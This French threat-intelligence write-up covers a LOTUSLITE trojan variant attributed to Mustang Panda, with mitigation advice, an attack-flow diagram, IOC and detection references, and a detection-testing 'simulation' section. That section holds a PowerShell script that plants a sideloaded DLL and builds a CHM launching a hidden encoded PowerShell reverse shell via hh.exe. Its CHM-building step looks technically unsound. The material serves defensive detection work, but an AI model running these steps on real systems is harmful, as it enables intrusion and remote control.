Même paquet, magie différente : Mustang Panda frappe le secteur bancaire en Inde et la géopolitique en Corée
Detection stack
- AIDR
- Alert
- ETL
- Query
Résumé
L’unité de recherche sur les menaces d’Acronis a découvert une nouvelle variante du cheval de Troie LOTUSLITE ciblant les organisations du secteur bancaire en Inde et les individus liés aux affaires diplomatiques sud-coréennes. Le malware est déployé par DLL sideloading, s’appuyant sur un exécutable signé par Microsoft légitime pour charger une bibliothèque malveillante, puis communiquant avec un serveur de commande et de contrôle basé sur DNS dynamique via HTTPS. Sur la base de motifs d’infrastructure et de chevauchements en matière de méthodes, les chercheurs ont attribué l’activité à Mustang Panda avec une confiance modérée.
Investigation
Les analystes ont examiné un fichier CHM malveillant, un chargeur basé sur JavaScript, et un Microsoft_DNX.exe binaire signé qui chargeait un DLL portant la charge utile LOTUSLITE. Leur analyse a révélé des mises à jour dans les fonctions exportées, les conventions de nommage des mutex, les commutateurs de ligne de commande, les valeurs magiques des paquets, et les méthodes de résolution des API. L’équipe a également lié l’opération à des campagnes antérieures de Mustang Panda via le réemploi de domaines gérés par Dynu et l’infrastructure IP associée.
Atténuation
Les défenseurs doivent empêcher le chargement non autorisé de DLL dans des exécutables signés par Microsoft de confiance, surveiller les motifs de mutex identifiés et les arguments de ligne de commande modifiés, et appliquer des contrôles stricts autour du trafic DNS dynamique. Les équipes de sécurité doivent également détecter la valeur magique distinctive des paquets 0xB2EBCFDF et surveiller les modifications de la clé Run dans HKCU qui peuvent indiquer une persistance.
Réponse
Si cette activité est détectée, isolez immédiatement le système impacté, terminez le processus malveillant, et retirez à la fois la DLL chargée de manière malveillante et l’exécutable abusé du disque. La mémoire doit être capturée pour analyse judiciaire, les identifiants exposés doivent être révoqués, et les domaines de commande et de contrôle et l’adresse IP identifiés doivent être bloqués. Une recherche plus vaste doit également être effectuée à travers l’environnement pour les artefacts de persistance basés sur le mutex et le registre liés à la campagne.
"graph TB %% Section des définitions des classes classDef action fill:#99ccff classDef file fill:#ffcc99 classDef malware fill:#ff9999 classDef process fill:#ccccff classDef persistence fill:#ccffcc %% Nœuds action_initial_access["<b>Action</b> – <b>T1566.001 Pièce jointe Spearphishing</b><br/>Fichier d’aide HTML compilé malveillant (CHM) envoyé par email."] class action_initial_access action file_chm["<b>Fichier</b> – <b>Nom</b>: Request_for_Support.chm<br/><b>Type</b>: Aide HTML compilée"] class file_chm file action_user_execution["<b>Action</b> – <b>T1204.002 Exécution par l’utilisateur</b><br/>La victime ouvre le CHM, déclenchant le JavaScript intégré."] class action_user_execution action action_obfuscation["<b>Action</b> – <b>T1027 Fichiers ou Informations obfusqués</b><br/>JavaScript dépose un exécutable signé par Microsoft et une DLL malveillante utilisant ActiveX et HTML caché."] class action_obfuscation action file_ms_dnx["<b>Fichier</b> – <b>Nom</b>: Microsoft_DNX.exe<br/><b>Signature</b>: Signé par Microsoft"] class file_ms_dnx file file_lotuslite["<b>Malware</b> – <b>Nom</b>: Variante DLL LotusLite<br/><b>Type</b>: Bibliothèque de lien dynamique"] class file_lotuslite malware action_embedded_payloads["<b>Action</b> – <b>T1027.009 Charges Utiles Intégrées</b><br/>CHM contient du JavaScript (music.js) qui extrait et exécute la DLL et l’EXE."] class action_embedded_payloads action action_system_binary_proxy["<b>Action</b> – <b>T1218 Exécution de Proxy Binaire Système</b><br/>Microsoft_DNX.exe proxi l’exécution de la DLL malveillante via LoadLibraryExW."] class action_system_binary_proxy action action_trusted_dev_utilities["<b>Action</b> – <b>T1127 Exécution de Proxy d’Utilitaires de Développeur de Confiance</b><br/>Abus de Microsoft_DNX.exe, un outil de runtime .NET de confiance, pour exécuter le cheval de Troie."] class action_trusted_dev_utilities action action_script_proxy["<b>Action</b> – <b>T1216 Exécution de Proxy de Script Système</b><br/>JavaScript intégré agit comme un proxy de script pour lancer l’exécutable."] class action_script_proxy action action_hijack_execution["<b>Action</b> – <b>T1574.005 Détournement du Flux d’Exécution</b><br/>Chargement de DLL en plaçant une DLL malveillante avec le même nom dans le répertoire de l’exécutable."] class action_hijack_execution action action_persistence["<b>Action</b> – <b>T1547.014 Exécution d’Autostart au Démarrage ou à la Connexion</b><br/>Active Setup écrit une clé Run sous HKCUSoftwareMicrosoftWindowsCurrentVersionRun."] class action_persistence persistence command_and_control["<b>Commande et Contrôle</b><br/>L’implant contacte le domaine DNS dynamique editor.gleeze.com via HTTPS."] class command_and_control process %% Connexions montrant le flux d’attaque action_initial_access –>|délivre| file_chm file_chm –>|ouvert par la victime| action_user_execution action_user_execution –>|déclenche| action_obfuscation action_obfuscation –>|dépose| file_ms_dnx action_obfuscation –>|dépose| file_lotuslite file_ms_dnx –>|utilisé dans| action_system_binary_proxy file_ms_dnx –>|utilisé dans| action_trusted_dev_utilities action_system_binary_proxy –>|charge| file_lotuslite action_trusted_dev_utilities –>|exécute| file_lotuslite action_user_execution –>|exécute| action_script_proxy action_script_proxy –>|lance| file_ms_dnx action_obfuscation –>|active| action_embedded_payloads action_embedded_payloads –>|fourni| action_hijack_execution action_hijack_execution –>|facilite| action_persistence action_persistence –>|établit| command_and_control "
Flux d’Attaque
Détections
Fichiers Suspicious dans le Profil Utilisateur Public (via file_event)
Voir
Points de Persistance Possibles [ASEPs – Logiciel/Ruche NTUSER] (via registry_event)
Voir
Exécution Suspicious depuis le Profil Utilisateur Public (via process_creation)
Voir
IOCs (HashSha256) to detect: Paquet identique, magie différente : Mustang Panda frappe le secteur bancaire indien et la géopolitique de la Corée
Voir
IOCs (SourceIP) to detect: Paquet identique, magie différente : Mustang Panda frappe le secteur bancaire indien et la géopolitique de la Corée
Voir
IOCs (DestinationIP) to detect: Paquet identique, magie différente : Mustang Panda frappe le secteur bancaire indien et la géopolitique de la Corée
Voir
Détection de la Communication C2 du Cheval de Troie LOTUSLITE [Connexion Réseau Windows]
Voir
Détection du Cheval de Troie LOTUSLITE via Microsoft DNX et HH.exe [Création de Processus Windows]
Voir
Exécution de Simulation
Prérequis : Les vérifications de Télémétrie et de Base doivent avoir réussi.
Rationale : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTPs identifiés et visent à générer exactement la télémétrie attendue par la logique de détection.
-
Narrative d’Attaque & Commandes :
-
Étape DLL malveillante :
- L’attaquant copie une DLL malveillante (
lotuslite.dll) dans le même répertoire que leMicrosoft_DNX.exelégitime. Cette DLL contient la charge utile du cheval de Troie.
- L’attaquant copie une DLL malveillante (
-
Exécuter le chargement de DLL via Microsoft_DNX.exe :
- En lançant
Microsoft_DNX.exesans arguments, Windows charge la DLL malveillante en premier (en raison du détournement de « l’ordre de recherche »), exécutant le cheval de Troie.
- En lançant
-
Créer un CHM malveillant :
- Un fichier CHM (
evil.chm) est conçu contenant du JavaScript qui, lorsqu’il est affiché, lance un shell inverse PowerShell.
- Un fichier CHM (
-
Déclencher JavaScript via hh.exe :
- L’attaquant exécute
hh.exe evil.chm, provoquant la lecture du CHM par l’exécutable d’aide HTML et l’exécution du script intégré, atteignant l’exécution de code sous un binaire signé.
- L’attaquant exécute
Cette séquence génère deux événements Sysmon Process Create distincts qui correspondent aux conditions de la règle de détection.
-
-
Script de Test de Régression :
# ------------------------------------------------------------------------- # Simulation LotusLite – Chargement de DLL + exécution CHM hh.exe # ------------------------------------------------------------------------- # Prérequis : # - Sysmon installé et transmettant les journaux. # - Privilèges d'administrateur (nécessaire pour écrire dans Program Files). $dnxPath = "$env:ProgramFilesMicrosoftMicrosoft_DNX.exe" $dnxDir = Split-Path $dnxPath -Parent # 1. Déployer la DLL malveillante (charge utile simulée) $malDllSource = "C:Templotuslite.dll" # <-- remplacer par le chemin réel de la charge utile $malDllDest = Join-Path $dnxDir "lotuslite.dll" Copy-Item -Path $malDllSource -Destination $malDllDest -Force # 2. Lancer Microsoft_DNX.exe pour déclencher le chargement de DLL Write-Host "[*] Lancement de Microsoft_DNX.exe pour le chargement de DLL..." Start-Process -FilePath $dnxPath -WindowStyle Hidden # 3. Créer un CHM malveillant contenant du JavaScript (exemple simplifié) $chmPath = "C:Tempevil.chm" $htmlContent = @" <HTML><HEAD> <SCRIPT language=`"JScript`"> var shell = new ActiveXObject("WScript.Shell"); shell.Run("powershell -nop -w hidden -EncodedCommand <base64-rev-shell>", 0); </SCRIPT> </HEAD><BODY></BODY></HTML> "@ $tempHtml = "C:Tempevil.html" $htmlContent | Out-File -FilePath $tempHtml -Encoding ASCII # Utiliser makecab pour envelopper le HTML dans un CHM (nécessite les outils SDK Windows) $makeCab = "$env:WINDIRsystem32makecab.exe" & $makeCab /D "CompressionType=MSZIP" $tempHtml $chmPath # 4. Exécuter le CHM via hh.exe Write-Host "[*] Lancement de hh.exe sur le CHM malveillant..." Start-Process -FilePath "$env:SystemRootSystem32hh.exe" -ArgumentList $chmPath -WindowStyle Hidden # Nettoyage des fichiers temporaires (conserver la DLL malveillante pour analyse post-exécution) Remove-Item $tempHtml -Force Write-Host "[*] Simulation complète." -
Commandes de Nettoyage :
# ------------------------------------------------------------------------- # Nettoyage pour la Simulation LotusLite # ------------------------------------------------------------------------- $dnxPath = "$env:ProgramFilesMicrosoftMicrosoft_DNX.exe" $dnxDir = Split-Path $dnxPath -Parent $malDllDest = Join-Path $dnxDir "lotuslite.dll" $chmPath = "C:Tempevil.chm" # Supprimer la DLL malveillante if (Test-Path $malDllDest) { Remove-Item $malDllDest -Force Write-Host "[*] DLL malveillante supprimée." } # Supprimer CHM if (Test-Path $chmPath) { Remove-Item $chmPath -Force Write-Host "[*] CHM malveillant supprimé." } # Terminer éventuellement les processus rémanents (le cas échéant) Get-Process -Name "Microsoft_DNX","hh" -ErrorAction SilentlyContinue | Stop-Process -Force Write-Host "[*] Nettoyage terminé."